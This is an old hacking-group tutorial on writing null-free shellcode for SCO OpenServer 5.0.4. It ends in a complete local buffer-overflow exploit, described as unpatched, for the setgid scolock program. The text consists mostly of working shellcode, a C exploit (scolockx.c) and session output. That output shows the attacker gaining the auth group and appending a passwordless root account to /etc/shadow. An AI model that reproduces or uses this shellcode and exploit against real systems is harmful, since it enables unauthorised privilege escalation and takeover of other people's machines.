Programming a shellcode in SCO
By Renegade Master
Introduction
The first time I faced programming an exploit based upon a buffer overflow,
it was under Linux and I simply selected a shellcode which was previously
coded by someone else from the tons available and pasted it into my code.
Nonetheless when I tried to do the same in SCO i realized that there weren't
practically any shellcodes for SCO, I could only find 2 acceptable
shellcodes (although they lacked debugging) which were the ones the rest
were based upon.
Thus I decided to start programming my own shellcode from scratch, trying to
make it more efficient and compact than the other ones. This is the
result...
Gdb
Firstly let's take a look at how a SCO machine works when it executes a
command (/bin/sh in this case).
**NOTE** All examples are taken from a SCO OpenServer 5.0.4 machine so some
of them may not work under another SCO type of Unix (like unixware) although
I have tried to make it as portable as possible.
We create a little program in C that simply executes '/bin/sh'.
-execve.c-----------------------------------------------------------------

main() {
execve("/bin/sh",0,0);
}

--------------------------------------------------------------------------
scosysv:~$ ./execve

$
It works.
We compile it and trace it through the debugger (gdb in this case) to see
its assembler output.
scosysv:~# gdb

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15.1 (i486-sco3.2v5.0), Copyright 1995 Free Software Foundation, Inc.

(gdb) file execve

Reading symbols from execve...(no debugging symbols found)...done.

(gdb) disassemble main

Dump of assembler code for function main:

0x15c <main>:   jmp    0x171 <main+21>

0x15e <main+2>: pushl  $0x0

0x160 <main+4>: pushl  $0x0

0x162 <main+6>: pushl  $0x400878

0x167 <main+11>:        call   0x2fc <_execve>

0x16c <main+16>:        addl   $0xc,%esp

0x16f <main+19>:        leave

0x170 <main+20>:        ret

0x171 <main+21>:        pushl  %ebp

0x172 <main+22>:        movl   %esp,%ebp

0x174 <main+24>:        jmp    0x15e <main+2>

0x176 <main+26>:        nop

0x177 <main+27>:        nop

End of assembler dump.

(gdb) disassemble execve

Dump of assembler code for function _execve:

0x2fc <_execve>:        movl   $0x3b,%eax

0x301 <_execve+5>:      lcall  0x7,0x0

0x308 <_execve+12>:     jmp    0x7f8 <_cerror>

0x30d <_execve+17>:     nop

0x30e <_execve+18>:     nop

0x30f <_execve+19>:     nop

End of assembler dump.
Once this has been seen we obtain a little assembler draft.
main:

        pushl 0x0

        pushl 0x0

        pushl address_of_/bin/sh

        call execve

execve:

        movl $0x3b,%eax

        lcall 0x7,0x0
As you can see it is simpler than in other systems like Linux, just 6 lines
of assembly code.
It still is a very rough draft and needs to be sharpened, but it will become
the skeleton of our shellcode.
Shellcode 1
We've already a little assembly draft of what we should do, so we start with
a very simple shellcode, without any kind of debugging, it will serve us as
a foundation to develop more advanced ones.
We start from the previous draft:
main:

        pushl 0x0

        pushl 0x0

        pushl address_of_/bin/sh

        call execve

execve:

        movl $0x3b,%eax

        lcall 0x7,0x0
We have to add to it some more code:
(1) We need to put the string /bin/sh in memory
(2) We need a routine to know where that string is located.
The code we obtain is:
"\xeb\x12" // start: jmp uno (2)

"\x5e" // dos: popl %esi

"\x31\xdb" // xorl %ebx,%ebx

"\x31\xc0" // xorl %eax,%eax

"\xb0\x3b" // movb $0x3b,%al

"\x53" // pushl %ebx

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x56" // pushl %esi (3)

"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0

"\xe8\xe9\xff\xff\xff" // uno: call dos

"/bin/sh\x00"; // (1)
(1) We put the string /bin/sh at the end of the code.
(2) We do a call before the string /bin/sh [call dos], thus the address of
the string is stored on the stack (when we do a call the %eip register is
pushed on the stack) then we retrieve it and store it in %esi [popl %esi]
The %eip register is the instruction pointer and the value it takes when we
do the call is the address of the string /bin/sh.
(3) The first three pushl correspond to the execve call. We push a fourth
value onto the stack [pushl %esi] to make the thing work.
We then create a little C simulator to check the code works properly.
-shell30.c----------------------------------------------------------------

char hell[]=

"\xeb\x12" // start: jmp uno

"\x5e" // dos: popl %esi

"\x31\xdb" // xorl %ebx,%ebx

"\x31\xc0" // xorl %eax,%eax

"\xb0\x3b" // movb $0x3b,%al

"\x53" // pushl %ebx

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x56" // pushl %esi

"\x9a\x00\x00\x00\x00\x07\x00" // execve: lcall 0x7,0x0

"\xe8\xe9\xff\xff\xff" // uno: call dos

"/bin/sh\x00";
void main() {

int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;

(*ret) = (int)hell;

}

--------------------------------------------------------------------------
scosysv~$ shell30

14

$
It works.
Shellcode 2
The previous shellcode isn't very useful in practice as it contains null
characters \x00 that will give us many troubles if we want to use them to
exploit an overflow.
The null character represents the end of a string, so usually if we try to
use a shellcode with null characters in an exploit, it will be cut when it
is handled by the target program.
This second shellcode corrects this defect removing every null bytes with a
little self modification routine.
"\xeb\x16" // start: jmp uno

"\x5e" // dos: popl %esi

"\x31\xdb" // xorl %ebx,%ebx

"\x89\x5e\x07" // movb %bl,0x7(%esi)    -> This three lines will set to zero

"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)     the bytes that were \x00 (and now

"\x88\x5e\x11" // movb %bl,0x11(%esi)      \xaa)

"\x31\xc0" // xorl %eax,%eax

"\xb0\x3b" // movb $0x3b,%al

"\x53" // pushl %ebx

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x56" // pushl %esi

"\xeb\x10" // jmp execve

"\xe8\xe5\xff\xff\xff" // uno: call dos

"/bin/sh"

"\xaa\xaa\xaa\xaa"

"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
The code can be still improved, we could afford 3 or 4 bytes in its size but
this improvement would be of little relevance.
We change the call to execve [lcall 0x7,0x0] at the end of the code to make
it easier to handle.
We use again the simulator to check it is working:
-shell15.c----------------------------------------------------------------

char hell[]=

"\xeb\x16" // start: jmp uno

"\x5e" // dos: popl %esi

"\x31\xdb" // xorl %ebx,%ebx

"\x89\x5e\x07" // movb %bl,0x7(%esi)

"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)

"\x88\x5e\x11" // movb %bl,0x11(%esi)

"\x31\xc0" // xorl %eax,%eax

"\xb0\x3b" // movb $0x3b,%al

"\x53" // pushl %ebx

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x56" // pushl %esi

"\xeb\x10" // jmp execve

"\xe8\xe5\xff\xff\xff" // uno: call dos

"/bin/sh"

"\xaa\xaa\xaa\xaa"

"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
void main() {

int *ret;
printf("%i\n",strlen(hell));
ret = (int *)&ret + 2;

(*ret) = (int)hell;

}

--------------------------------------------------------------------------
scosysv~$ shell15

47

$
It works.
Shellcode 3
We will add one more layer of complexity, now we want the shellcode to
execute not only a shell (/bin/sh) but also a complete command and we also
want it to let us modify the command without the need to recompile the whole
shellcode.
This means it is more complex as we used a little trick to reduce the size
of the first shellcode.
The call to execve works in the following way:
execve(address_of_the_command,array_of_parameters,array_of_environment_variables)


In assembler it would be:
push array_of_environment_variables

push array_of_parameters

push address_of_the_command

call execve
In the first shellcode we had simplified the two arrays setting in their
place a null pointer:
push 0

push 0

push address_of_the_string_/bin/sh

call execve
Now we cannot define a null pointer as an array of parameters and we have to
create an array for them.
The array has to contain the command name (argv[0]) and the rest of the
arguments.
To reduce the number of elements in the array we'll use the '-c' option of
the shell.
/bin/sh    -c    "command"

argv[0]  argv[1]  argv[2]
Thus the array appears like this:

argv[0] -> address of the string /bin/sh

argv[1] -> address of the string -c

argv[2] -> address of the string which contains the command

0 -> null pointer
16 bytes total.
And in assembler:
push 0

push address_of_array

push argv[0] -> address of the string /bin/sh

call execve
Now let's see the resulting shellcode obtained after applying this changes to
our shellcode.
"\x31\xdb" // xorl %ebx,%ebx

"\x31\xc0" // xorl %eax,%eax

"\xeb\x30" // jmp uno

"\x5e" // dos: popl %esi

"\x8d\x7e\x10" // leal 16(%esi),%edi

"\x89\xf9" // movl %edi,%ecx

"\x89\x3e" // movl %edi,(%esi)

"\x8d\x7e\x18" // leal 24(%esi),%edi -> Array creation routine

"\x89\x7e\x04" // movl %edi,4(%esi)

"\x8d\x7e\x1b" // leal 27(%esi),%edi

"\x89\x7e\x08" // movl %edi,8(%esi)

"\x89\x5e\x0c" // movl %ebx,12(%esi)

"\x89\x5e\xf5" // movl %ebx,-11(%esi) -> \xaa correction routine

"\x88\x5e\xfa" // movb %bl,-6(%esi)

"\x88\x5e\x17" // movb %bl,23(%esi)

"\x88\x5e\x1a" // movb %bl,26(%esi)

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x51" // pushl %ecx

"\x51" // pushl %ecx

"\xb0\x3b" // movb 0x3b, %al

"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0

"\xe8\xcb\xff\xff\xff" // uno: call dos

"AAAA" // +0 -> This is the array

"AAAA" // +4

"AAAA" // +8

"AAAA" // +12

"/bin/shA" // (1) +16 0x10(%esi) -> first string

"-cA" // (2) +24 0x18(%esi) -> second string

""; // (3) +27 0x1b(%esi) -> We allocate this space to put here the string
                             of the command to execute.
We add a routine which creates a 16 bytes array and stores the addresses of
the 3 relevant strings in it, and a null pointer as fourth item of the array
to define the end of the array.
The number of lines of code to substitute the \xaa by \x00 characters is
longer.
Now the simulator is a bit more complex:
-shell33.c-----------------------------------------------------------------

char hell[]=

"\x31\xdb" // xorl %ebx,%ebx

"\x31\xc0" // xorl %eax,%eax

"\xeb\x30" // jmp uno

"\x5e" // dos: popl %esi

"\x8d\x7e\x10" // leal 16(%esi),%edi

"\x89\xf9" // movl %edi,%ecx

"\x89\x3e" // movl %edi,(%esi)

"\x8d\x7e\x18" // leal 24(%esi),%edi

"\x89\x7e\x04" // movl %edi,4(%esi)

"\x8d\x7e\x1b" // leal 27(%esi),%edi

"\x89\x7e\x08" // movl %edi,8(%esi)

"\x89\x5e\x0c" // movl %ebx,12(%esi)

"\x89\x5e\xf5" // movl %ebx,-11(%esi)

"\x88\x5e\xfa" // movb %bl,-6(%esi)

"\x88\x5e\x17" // movb %bl,23(%esi)

"\x88\x5e\x1a" // movb %bl,26(%esi)

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x51" // pushl %ecx

"\x51" // pushl %ecx

"\xb0\x3b" // movb 0x3b, %al

"\x9a\xaa\xaa\xaa\xaa\x07\xaa" // lcall 0x7,0x0

"\xe8\xcb\xff\xff\xff" // uno: call dos

"AAAA" // +0

"AAAA" // +4

"AAAA" // +8

"AAAA" // +12

"/bin/shA" // (1) +16 0x10(%esi)

"-cA" // (2) +24 0x18(%esi)

""; // (3) +27 0x1b(%esi)
char buf[300];
void main(int argc, char **argv) {

int *ret;

char cmd[200];

char test[]="/usr/bin/id";

char end[]=";\x00";
printf("%i\n",strlen(hell));
if(argc < 2) {

        memcpy(cmd,test,strlen(test));

        memcpy(buf,hell,strlen(hell));

        memcpy(buf+strlen(hell),cmd,strlen(cmd));

        memcpy(buf+strlen(hell)+strlen(cmd),end,strlen(end));

} else {

        if(argc == 2) {

                strncpy(cmd,argv[1],strlen(argv[1]));

                memcpy(buf,hell,strlen(hell));

                m       emcpy(buf+strlen(hell),cmd,strlen(argv[1]));

                memcpy(buf+strlen(hell)+strlen(argv[1]),end,strlen(end));

        } else {

                printf("Uso: shell33 \"comando\"\n");

                exit(0); }

        }
ret = (int *)&ret + 2;

(*ret) = (int)buf;
}

--------------------------------------------------------------------------
The new snippets add the string string holding the command to be executed at
the end of the shellcode.
scosysv~$ shell33 "/usr/bin/id"

86

uid=200(guest) gid=50(group) groups=50(group)
scosysv~$ shell33 "echo hola"

86

hola
It works.
Exploit 1
Once we have a theoretically working shellcode, we have to test whether it
works or not in practice, inside of an exploit.
The bug which we're going to exploit is an overflow in one of the scolock
(/usr/bin/X11/scolock) program's arguments, a suid screen saver as group

'auth'. -> sgid(auth)
$ ls -al /opt/K/SCO/BaseX/5.1.2b/usr/bin/X11/scolock

-rwxr-sr-x   1 root     auth      155956 May 25 22:50 scolock
This group has read/write access to the /etc/shadow file thus obtaining root
using this exploit is hardly a question of time.
$ ls -al /etc/shadow

-rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow
This program has several exploitable overflows, but let's concentrate in the
one that is produced with the '-bg' argument.
The following exploit is an unpublished one, and there is no patch for the
bug: (Oh my god! someone send this to bugtraq! ;)
-scolockx.c---------------------------------------------------------------

/*
 * <scolockx.c> Local exploit - Gives you an auth group suid shell
 *
 * h0h0h0!! auth group has read/write access to /etc/shadow (w3 4r3 r00t!)
 *
 * $ ls -al /etc/shadow
 * -rw-rw----   1 root     auth         323 Jun 14 23:09 /etc/shadow
 *
 * Offset: scolockx (SCO OpenServer 5.0.4)
 * 0 -> with -display parameter
 *
 * Usage:
 * $ cc scolockx.c -o scolockx
 * $ /usr/bin/X11/scolock -display 1.1.1.1:0 -bg `scolockx 0`
 *
 * Note: scolock need to be run from a valid x-display
 *
 * By: The Renegade Master
 *
 */
#include <stdlib.h>
#include <stdio.h>
char hell[]=

"\xeb\x16" // start: jmp uno

"\x5e" // dos: popl %esi

"\x31\xdb" // xorl %ebx,%ebx

"\x89\x5e\x07" // movb %bl,0x7(%esi)

"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)

"\x88\x5e\x11" // movb %bl,0x11(%esi)

"\x31\xc0" // xorl %eax,%eax

"\xb0\x3b" // movb $0x3b,%al

"\x53" // pushl %ebx

"\x53" // pushl %ebx

"\x56" // pushl %esi

"\x56" // pushl %esi

"\xeb\x10" // jmp execve

"\xe8\xe5\xff\xff\xff" // uno: call dos

"/bin/sh"

"\xaa\xaa\xaa\xaa"

"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
#define OFF 0x8047a98   // SCO OpenServer 5.0.4

#define ALINEA 0

#define LEN 2000
int main(int argc, char *argv[]) {
int offset=0;

char buf[LEN];

int i;
if(argc < 2) {

        printf("Usage: scolockx <offset>\n");

        exit(0); }

else {

        offset=atoi(argv[1]); }
memset(buf,0x90,LEN);

memcpy(buf+1000,hell,strlen(hell));

for(i=1100+ALINEA;i<LEN-4;i+=4)

        *(int *)&buf[i]=OFF+offset;
for(i=0;i<LEN;i++)

        putchar(buf[i]);
exit(0);

}

--------------------------------------------------------------------------
scosysv:~$ /usr/bin/X11/scolock -display 127.0.0.1:0.0 -bg `./scolockx 0`

Warning: Color name "ë^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿÿ/bin/shªªªªªªª

ªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz^1Û^^^1À°;S

SVVëèåÿÿÿ/bin/shªªªªªªªªªzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

zzzzzzzzzzzz^1Û^^^1À°;SSVVëèåÿÿ

Warning: some arguments in previous message were lost

$ id

uid=200(guest) gid=50(group) egid=21(auth) groups=50(group)

$ echo "draver::0:0:r00t:/:/bin/sh" >> /etc/shadow



As you can see the exploit couldn't be simpler, the most important part is the
shellcode, there is where the need to obtain a good shellcode comes, compact
and reliable.



Other important points to take into account are that the overflowed buffer
is about 1800 characters in size, with a correct alignment and a return
address which is approximately 0x8047a98. With this information and the
shellcode coding the exploit was trivial indeed.





Conclusion


The first step we should make in every platform to code our own exploits is
to obtain a good shellcode, using a previously coded, modifying it or
creating our own.



But we will achieve the most control over the exploit when the shellcode is
self-made.



Greetings



  Renegade Master


 

(C) 1997-2001 by !Hispahack
Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator